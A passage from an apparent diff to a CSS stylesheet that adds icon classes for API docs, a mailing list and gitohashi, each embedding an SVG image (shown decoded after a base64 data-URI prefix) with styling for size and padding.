XRoIGQ9Im05MS4wNDUgMjM4LjczYy0wLjAyODctMi41Mzk3IDIuNjQ3Mi00LjMxNjggNC42MTAzLTMuNzI0OCAwLjQwNjM3IDAuMDkyOCAwLjEyOTU3LTAuMDQ4IDAuNjU3OTIgMC4yMDkwOS0zLjA5NDcgMC4yMjMyNi00LjA3NTMgMS45MTgxLTUuMjY4MiAzLjUxNTd6IiBmaWxsPSIjZmZmIiBmaWxsLW9wYWNpdHk9Ii4yNzI3MyIvPgoJPC9nPgo8L3N2Zz4=");
+        width:0px;
+        height:0px;
+        padding:0.7em 0.7em 0.7em 0.7em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+        background-repeat: no-repeat;
+}
+img.apidocs {
+        display: inline-block;
+        float:left;
+        background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 10.04 8.6531" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<radialGradient id="b" cx="273.67" cy="322.32" r=".56515" gradientTransform="matrix(1 0 0 1.0209 -188.39 -264.02)" gradientUnits="userSpaceOnUse">
<stop stop-color="#fff" offset="0"/>
<stop stop-color="#fff" stop-opacity="0" offset="1"/>
</radialGradient>
<linearGradient id="c" x1="272.47" x2="269.83" y1="319.77" y2="323.36" gradientTransform="translate(-188.08 -257.04)" gradientUnits="userSpaceOnUse">
<stop stop-color="#6c6753" offset="0"/>
<stop stop-color="#c8c4b7" offset="1"/>
</linearGradient>
<radialGradient id="a" cx="273.96" cy="321.68" r="1.7102" gradientTransform="matrix(.93163 -.21488 .22475 .97442 -53.532 67.13)" gradientUnits="userSpaceOnUse">
<stop stop-color="#fff6d5" offset="0"/>
<stop stop-color="#fff" stop-opacity="0" offset="1"/>
</radialGradient>
<linearGradient id="d" x1="273.8" x2="272.99" y1="324.92" y2="319.44" gradientTransform="translate(-188.08 -257.04)" gradientUnits="userSpaceOnUse">
<stop stop-color="#c8c4b7" offset="0"/>
<stop stop-color="#484537" offset="1"/>
</linearGradient>
<filter id="e" x="-.056496" y="-.066758" width="1.113" height="1.1335" color-interpolation-filters="sRGB">
<feGaussianBlur stdDeviation="0.21234092"/>
</filter>
</defs>
<metadata>
<rdf:RDF>
<cc:Work rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
<dc:title/>
</cc:Work>
</rdf:RDF>
</metadata>
<g transform="translate(-80.109 -62)">
<path d="m84.009 62.86-3.1404 3.9255-0.25059 0.40089 0.0501 0.65149 0.28397 0.61806 0.40093 0.15034 0.18372-0.13364 0.18376 0.21717 4.6438 1.4533 3.2741-5.6795-0.20045-0.0835 0.0334-0.4677v-0.23387l0.16706-0.0501-4.744-0.96885-0.3341 0.18375-0.16705-0.33407-0.18373 0.0835z" filter="url(#e)" stroke="#000" stroke-width=".119"/>
<path d="m83.938 62.464-3.1404 3.9255-0.25059 0.40089 0.0501 0.65149 0.28397 0.61806 0.40093 0.15034 0.18372-0.13364 0.18376 0.21717 4.6438 1.4533 3.2741-5.6795-0.20045-0.0835 0.0334-0.4677v-0.23387l0.16706-0.0501-4.744-0.96885-0.3341 0.18375-0.16705-0.33407-0.18373 0.0835z" fill="#808080" stroke="#000" stroke-width=".119"/>
<path d="m89.436 63.209-3.283 5.371-4.3863-1.3217-0.13364 0.0835-0.11694-0.30067-0.42594-0.2088-0.32576-0.0418-0.16704 0.20045 0.0501-0.35081 3.5914-4.4935 0.13561-0.0744 0.24859 0.0243 0.19068 0.0451 0.2379 0.20628 0.32312-0.0843z" fill="url(#d)" stroke="#000" stroke-width=".119"/>
<path d="m89.4 64.018-3.1571 5.4289-5.1616-1.6036-0.26188-0.17326-0.15573-0.27775 0.0167-0.31739 0.16706-0.18373 0.55123 0.10023 0.18375 0.33409 4.6104 1.353 3.1905-5.2953z" fill="#b3b3b3"/>
<path transform="matrix(1.2106 0 0 1.2314 -245.6 -331.71)" d="m274.54 323.53-0.43696-0.75488-0.0837 0.8682-0.1823-0.85296-0.34787 0.79985 0.0902-0.86755-0.57802 0.65321 0.35388-0.79722-0.75158 0.44263 0.58291-0.64885-0.85157 0.18872 0.75489-0.43696-0.86821-0.0837 0.85297-0.1823-0.79986-0.34787 0.86755 0.0902-0.65321-0.57801 0.79722 0.35388-0.44263-0.75158 0.64885 0.58291-0.18871-0.85157 0.43695 0.75488 0.0837-0.8682 0.1823 0.85296 0.34787-0.79985-0.0902 0.86755 0.57801-0.65321-0.35388 0.79722 0.75158-0.44263-0.58291 0.64885 0.85157-0.18872-0.75488 0.43696 0.8682 0.0837-0.85296 0.1823 0.79985 0.34787-0.86755-0.0902 0.65321 0.57801-0.79721-0.35388 0.44262 0.75158-0.64884-0.58291z" fill="url(#a)"/>
<path d="m84.783 62.194-3.6513 4.6133 0.24842 0.0822 0.20259 0.16833 3.5413-4.6939-0.20445-0.0494z" fill="url(#c)"/>
<path d="m84.424 66.962-3e-3 0.11811 0.10925 0.0915 0.16833 0.062 0.11811-0.0797z" fill="#4d4d4d"/>
<path d="m84.733 65.829-0.21176 0.47828 0.0378 0.0955-0.11381 0.0247 0.0372 0.11273-0.10665 0.0425 0.0496 0.11624-0.11961 0.0488 0.0991 0.18508s0.0188 0.0678 0.19401 0.16214c0.17525 0.0943 0.25149 0.0639 0.25149 0.0639l0.21607-0.0817-1e-3 -0.13305 0.11327-0.0177-0.036-0.12903 0.10674-0.0324-0.0332-0.0933 0.29538-0.49842z" fill="#ccc"/>
<ellipse transform="rotate(37.759)" cx="107.6" cy="-.60651" rx=".80113" ry=".87307" fill="#ececec"/>
<path d="m84.522 66.308 0.2422 0.20878 0.21299 0.13783 0.2631 0.1044-0.10022 0.0418-0.22135-0.0752-0.20045-0.13779-0.14616-0.14618-0.0167-0.0417z" fill="#b3b3b3"/>
<path d="m84.443 66.488 0.2422 0.20878 0.21299 0.13783 0.2631 0.1044-0.10022 0.0418-0.22135-0.0752-0.20045-0.13779-0.14616-0.14618-0.0167-0.0417z" fill="#b3b3b3"/>
<path d="m84.363 66.63 0.23797 0.20513 0.20928 0.13543 0.25851 0.10258-0.0985 0.0411-0.21749-0.0739-0.19696-0.13539-0.14361-0.14363-0.0164-0.041z" fill="#b3b3b3"/>
<path d="m85.386 66.087 0.1921-0.72245" fill="#e6e6e6" stroke="#e6e6e6" stroke-width=".08"/>
<path d="m84.902 65.168c0.0477-0.0108 0.0902-0.0359 0.13619-0.0512 0.049-9e-3 0.0993-0.0383 0.14927-0.0172 0.0411 0.0106 0.0323 0.0903-7e-3 0.10663-0.0225 0.0209-0.0761 0.041-0.0938 9e-3 -2e-3 -0.0483 0.06-0.0437 0.0897-0.0634 0.0364-4e-3 0.0718-0.0143 0.10823-0.0149 0.0336 7.1e-4 0.0673-1e-3 0.1007 1e-3 0.0355 0.0219-5e-3 0.0774-0.0235 0.10096-0.0407 0.0216-0.0643 0.0923-0.12031 0.0684-0.0333-0.0383-8.8e-4 -0.0902 0.0407-0.10696 0.0262-0.0125 0.0561-5e-3 0.0842-7e-3 0.0274 0.0289 0.067 0.0473 0.0734 0.0915 0.0209 0.0249 0.0352 0.0938-0.0136 0.091-0.0117-0.0361 0.0351-0.0605 0.0477-0.0928 0.0206-0.0236 0.0704-0.0697 0.0838-0.0157 0.0115 0.0391 0.0155 0.0908-0.0113 0.12487-9e-3 0.0254-0.0596 0.0435-0.0503 5.9e-4 0.0255-0.0238 0.0492-0.0589 0.0821-0.0763 0.0366 0.0239 0.0223 0.0717 0.0408 0.10619 0.0112 0.0278 0.0291 0.0982-0.0206 0.0883-8e-3 -0.0409 0.0166-0.0845 0.0536-0.10203 0.0334-0.0174 0.0366 0.021 0.0615 0.032 0.0158 0.0289 4e-3 0.0646 8e-3 0.0967v0.0387c-9e-3 -0.0524 0.0237-0.10117 0.0685-0.12558 6e-3 -2e-3 0.0138-4e-3 0.0177 2e-3" fill="none" stroke="#fff" stroke-width=".02"/>
<path d="m84.81 65.766 0.50948-0.57629" fill="none" stroke="#f2f2f2" stroke-width=".08"/>
<ellipse cx="85.276" cy="65.043" rx=".55515" ry=".56696" fill="url(#b)"/>
</g>
</svg>
");
+        width:0px;
+        height:0px;
+        padding:0.7em 0.8em 0.7em 0.8em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.mailinglist {
+        display: inline-block;
+        float:left;
+        background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 10.404 6.1279" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<radialGradient id="b" cx="273.67" cy="322.32" r=".56515" gradientTransform="matrix(1 0 0 1.0209 -188.39 -264.02)" gradientUnits="userSpaceOnUse">
<stop stop-color="#fff" offset="0"/>
<stop stop-color="#fff" stop-opacity="0" offset="1"/>
</radialGradient>
<linearGradient id="d" x1="272.47" x2="269.83" y1="319.77" y2="323.36" gradientTransform="translate(-188.08 -257.04)" gradientUnits="userSpaceOnUse">
<stop stop-color="#6c6753" offset="0"/>
<stop stop-color="#c8c4b7" offset="1"/>
</linearGradient>
<radialGradient id="a" cx="273.96" cy="321.68" r="1.7102" gradientTransform="matrix(.93163 -.21488 .22475 .97442 -53.532 67.13)" gradientUnits="userSpaceOnUse">
<stop stop-color="#fff6d5" offset="0"/>
<stop stop-color="#fff" stop-opacity="0" offset="1"/>
</radialGradient>
<linearGradient id="e" x1="273.8" x2="272.99" y1="324.92" y2="319.44" gradientTransform="translate(-188.08 -257.04)" gradientUnits="userSpaceOnUse">
<stop stop-color="#c8c4b7" offset="0"/>
<stop stop-color="#484537" offset="1"/>
</linearGradient>
<filter id="g" x="-.056496" y="-.066758" width="1.113" height="1.1335" color-interpolation-filters="sRGB">
<feGaussianBlur stdDeviation="0.21234092"/>
</filter>
<linearGradient id="c" x1="282.3" x2="288.4" y1="324.69" y2="320.58" gradientTransform="translate(-178.34 -204.16)" gradientUnits="userSpaceOnUse">
<stop stop-color="#fc0" offset="0"/>
<stop stop-color="#a80" offset="1"/>
</linearGradient>
<filter id="f" x="-.031881" y="-.056647" width="1.0638" height="1.1133" color-interpolation-filters="sRGB">
<feGaussianBlur stdDeviation="0.12991731"/>
</filter>
</defs>
<metadata>
<rdf:RDF>
<cc:Work rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
<dc:title/>
</cc:Work>
</rdf:RDF>
</metadata>
<g transform="translate(-101.94 -115.52)">
<path d="m84.009 62.86-3.1404 3.9255-0.25059 0.40089 0.0501 0.65149 0.28397 0.61806 0.40093 0.15034 0.18372-0.13364 0.18376 0.21717 4.6438 1.4533 3.2741-5.6795-0.20045-0.0835 0.0334-0.4677v-0.23387l0.16706-0.0501-4.744-0.96885-0.3341 0.18375-0.16705-0.33407-0.18373 0.0835z" filter="url(#g)" stroke="#000" stroke-width=".119"/>
<path d="m83.938 62.464-3.1404 3.9255-0.25059 0.40089 0.0501 0.65149 0.28397 0.61806 0.40093 0.15034 0.18372-0.13364 0.18376 0.21717 4.6438 1.4533 3.2741-5.6795-0.20045-0.0835 0.0334-0.4677v-0.23387l0.16706-0.0501-4.744-0.96885-0.3341 0.18375-0.16705-0.33407-0.18373 0.0835z" fill="#808080" stroke="#000" stroke-width=".119"/>
<path d="m89.436 63.209-3.283 5.371-4.3863-1.3217-0.13364 0.0835-0.11694-0.30067-0.42594-0.2088-0.32576-0.0418-0.16704 0.20045 0.0501-0.35081 3.5914-4.4935 0.13561-0.0744 0.24859 0.0243 0.19068 0.0451 0.2379 0.20628 0.32312-0.0843z" fill="url(#e)" stroke="#000" stroke-width=".119"/>
<path d="m89.4 64.018-3.1571 5.4289-5.1616-1.6036-0.26188-0.17326-0.15573-0.27775 0.0167-0.31739 0.16706-0.18373 0.55123 0.10023 0.18375 0.33409 4.6104 1.353 3.1905-5.2953z" fill="#b3b3b3"/>
<path transform="matrix(1.2106 0 0 1.2314 -245.6 -331.71)" d="m274.54 323.53-0.43696-0.75488-0.0837 0.8682-0.1823-0.85296-0.34787 0.79985 0.0902-0.86755-0.57802 0.65321 0.35388-0.79722-0.75158 0.44263 0.58291-0.64885-0.85157 0.18872 0.75489-0.43696-0.86821-0.0837 0.85297-0.1823-0.79986-0.34787 0.86755 0.0902-0.65321-0.57801 0.79722 0.35388-0.44263-0.75158 0.64885 0.58291-0.18871-0.85157 0.43695 0.75488 0.0837-0.8682 0.1823 0.85296 0.34787-0.79985-0.0902 0.86755 0.57801-0.65321-0.35388 0.79722 0.75158-0.44263-0.58291 0.64885 0.85157-0.18872-0.75488 0.43696 0.8682 0.0837-0.85296 0.1823 0.79985 0.34787-0.86755-0.0902 0.65321 0.57801-0.79721-0.35388 0.44262 0.75158-0.64884-0.58291z" fill="url(#a)"/>
<path d="m84.783 62.194-3.6513 4.6133 0.24842 0.0822 0.20259 0.16833 3.5413-4.6939-0.20445-0.0494z" fill="url(#d)"/>
<path d="m84.424 66.962-3e-3 0.11811 0.10925 0.0915 0.16833 0.062 0.11811-0.0797z" fill="#4d4d4d"/>
<path d="m84.733 65.829-0.21176 0.47828 0.0378 0.0955-0.11381 0.0247 0.0372 0.11273-0.10665 0.0425 0.0496 0.11624-0.11961 0.0488 0.0991 0.18508s0.0188 0.0678 0.19401 0.16214c0.17525 0.0943 0.25149 0.0639 0.25149 0.0639l0.21607-0.0817-1e-3 -0.13305 0.11327-0.0177-0.036-0.12903 0.10674-0.0324-0.0332-0.0933 0.29538-0.49842z" fill="#ccc"/>
<ellipse transform="rotate(37.759)" cx="107.6" cy="-.60651" rx=".80113" ry=".87307" fill="#ececec"/>
<path d="m84.522 66.308 0.2422 0.20878 0.21299 0.13783 0.2631 0.1044-0.10022 0.0418-0.22135-0.0752-0.20045-0.13779-0.14616-0.14618-0.0167-0.0417z" fill="#b3b3b3"/>
<path d="m84.443 66.488 0.2422 0.20878 0.21299 0.13783 0.2631 0.1044-0.10022 0.0418-0.22135-0.0752-0.20045-0.13779-0.14616-0.14618-0.0167-0.0417z" fill="#b3b3b3"/>
<path d="m84.363 66.63 0.23797 0.20513 0.20928 0.13543 0.25851 0.10258-0.0985 0.0411-0.21749-0.0739-0.19696-0.13539-0.14361-0.14363-0.0164-0.041z" fill="#b3b3b3"/>
<path d="m85.386 66.087 0.1921-0.72245" fill="#e6e6e6" stroke="#e6e6e6" stroke-width=".08"/>
<path d="m84.902 65.168c0.0477-0.0108 0.0902-0.0359 0.13619-0.0512 0.049-9e-3 0.0993-0.0383 0.14927-0.0172 0.0411 0.0106 0.0323 0.0903-7e-3 0.10663-0.0225 0.0209-0.0761 0.041-0.0938 9e-3 -2e-3 -0.0483 0.06-0.0437 0.0897-0.0634 0.0364-4e-3 0.0718-0.0143 0.10823-0.0149 0.0336 7.1e-4 0.0673-1e-3 0.1007 1e-3 0.0355 0.0219-5e-3 0.0774-0.0235 0.10096-0.0407 0.0216-0.0643 0.0923-0.12031 0.0684-0.0333-0.0383-8.8e-4 -0.0902 0.0407-0.10696 0.0262-0.0125 0.0561-5e-3 0.0842-7e-3 0.0274 0.0289 0.067 0.0473 0.0734 0.0915 0.0209 0.0249 0.0352 0.0938-0.0136 0.091-0.0117-0.0361 0.0351-0.0605 0.0477-0.0928 0.0206-0.0236 0.0704-0.0697 0.0838-0.0157 0.0115 0.0391 0.0155 0.0908-0.0113 0.12487-9e-3 0.0254-0.0596 0.0435-0.0503 5.9e-4 0.0255-0.0238 0.0492-0.0589 0.0821-0.0763 0.0366 0.0239 0.0223 0.0717 0.0408 0.10619 0.0112 0.0278 0.0291 0.0982-0.0206 0.0883-8e-3 -0.0409 0.0166-0.0845 0.0536-0.10203 0.0334-0.0174 0.0366 0.021 0.0615 0.032 0.0158 0.0289 4e-3 0.0646 8e-3 0.0967v0.0387c-9e-3 -0.0524 0.0237-0.10117 0.0685-0.12558 6e-3 -2e-3 0.0138-4e-3 0.0177 2e-3" fill="none" stroke="#fff" stroke-width=".02"/>
<path d="m84.81 65.766 0.50948-0.57629" fill="none" stroke="#f2f2f2" stroke-width=".08"/>
<ellipse cx="85.276" cy="65.043" rx=".55515" ry=".56696" fill="url(#b)"/>
<path d="m102.37 115.83v5.5043h9.662v-5.4806h-9.7801" filter="url(#f)" stroke="#000" stroke-width=".26458px"/>
<path d="m102.26 115.68v5.5043h9.662v-5.4806h-9.7801" fill="url(#c)" stroke="#000" stroke-width=".26458px"/>
<path d="m108.66 118.02 3.2128 2.4568" fill="none" stroke="#4d4d4d" stroke-width=".26458px"/>
<path d="m102.26 120.5 3.3963-2.4986" fill="#333" stroke="#4d4d4d" stroke-width=".26458px"/>
<path d="m102.21 115.94c0.40487 0.31823 0.76648 0.70652 1.2543 0.89883 0.92018 0.45331 1.8346 0.93087 2.7584 1.369l1.9877-1.2e-4c1.0394-0.53546 2.0789-1.0709 3.1183-1.6064 0.18112-0.18898 0.36223-0.37797 0.54335-0.56695" fill="none" stroke="#000" stroke-width=".26458px"/>
<path d="m106.65 117.61c-0.36139 0.40833 0.32052 1.2225 0.60232 1.5124 0.30326-0.38859 0.77751-1.0286 0.58206-1.4042-0.15049-0.29913-0.63759-0.20372-0.61561 0.33448 8e-3 -0.34004-0.30152-0.67953-0.56877-0.4426z" fill="#f00" stroke="#000" stroke-linejoin="round" stroke-width=".10826"/>
</g>
</svg>
");
+        width:0px;
+        height:0px;
+        padding:0.6em 0.9em 0.6em 0.9em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.gitohashi-icon {
+        display: inline-block;
+        background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 9.7133379 2.5118282" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
	<defs>
		<radialGradient id="a" cx="289.72" cy="412.83" r=".053743" gradientTransform="matrix(1.1735 0 0 1.1058 -50.276 -43.662)" gradientUnits="userSpaceOnUse" xlink:href="#d"/>
		<linearGradient id="d">
			<stop stop-color="#c2c9ca" stop-opacity=".37603" offset="0"/>
			<stop stop-color="#fff" stop-opacity="0" offset="1"/>
		</linearGradient>
		<linearGradient id="b" x1="8.4716" x2="17.364" y1="124.88" y2="123.79" gradientUnits="userSpaceOnUse" xlink:href="#c"/>
		<linearGradient id="c">
			<stop stop-color="#c8c6ca" stop-opacity="0" offset="0"/>
			<stop stop-color="#c8c6ca" stop-opacity=".72157" offset=".39592"/>
			<stop stop-color="#c8c6ca" stop-opacity=".41961" offset=".48155"/>
			<stop stop-color="#c8c6ca" stop-opacity="0" offset="1"/>
		</linearGradient>
		<filter id="e" x="-.015388" y="-.054509" width="1.0308" height="1.109" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.024099401"/>
		</filter>
	</defs>
	<g transform="translate(-67.715 -181.6)">
		<g transform="rotate(-.080507 43637 -42190)" fill="#fff" filter="url(#e)" stroke="#fff" stroke-width=".075" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="gitohashi">
			<path d="m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z"/>
			<path d="m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
			<path d="m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z"/>
			<path d="m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z"/>
			<path d="m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
			<path d="m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z"/>
			<path d="m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z"/>
			<path d="m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
			<path d="m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
		</g>
		<g transform="translate(59.618 58.255)">
			<g transform="matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)">
				<g transform="rotate(-9.1961 290.54 412.25)" fill="#4d4d4d">
					<path d="m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z"/>
					<path d="m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/>
				</g>
				<ellipse cx="289.7" cy="412.83" rx=".063066" ry=".059428" fill="url(#a)"/>
			</g>
			<path d="m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z" fill="url(#b)"/>
			<path d="m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z" fill="#42484c" fill-opacity=".72157"/>
			<text transform="rotate(-7.0969)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".016811">gitohashi</tspan></text>
			<text transform="rotate(-7.0969)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".016811">gitohashi</tspan></text>
		</g>
		<g transform="rotate(-6.5914 549.44 -367.77)">
			<g transform="matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)">
				<g transform="rotate(-9.1961 290.54 412.25)" fill="#4d4d4d">
					<path d="m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z"/>
					<path d="m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/>
				</g>
				<ellipse cx="289.7" cy="412.83" rx=".063066" ry=".059428" fill="url(#a)"/>
			</g>
			<path d="m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z" fill="url(#b)"/>
			<path d="m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z" fill="#42484c" fill-opacity=".72157"/>
			<text transform="rotate(-7.0969)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".016811">gitohashi</tspan></text>
			<text transform="rotate(-7.0969)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".016811">gitohashi</tspan></text>
		</g>
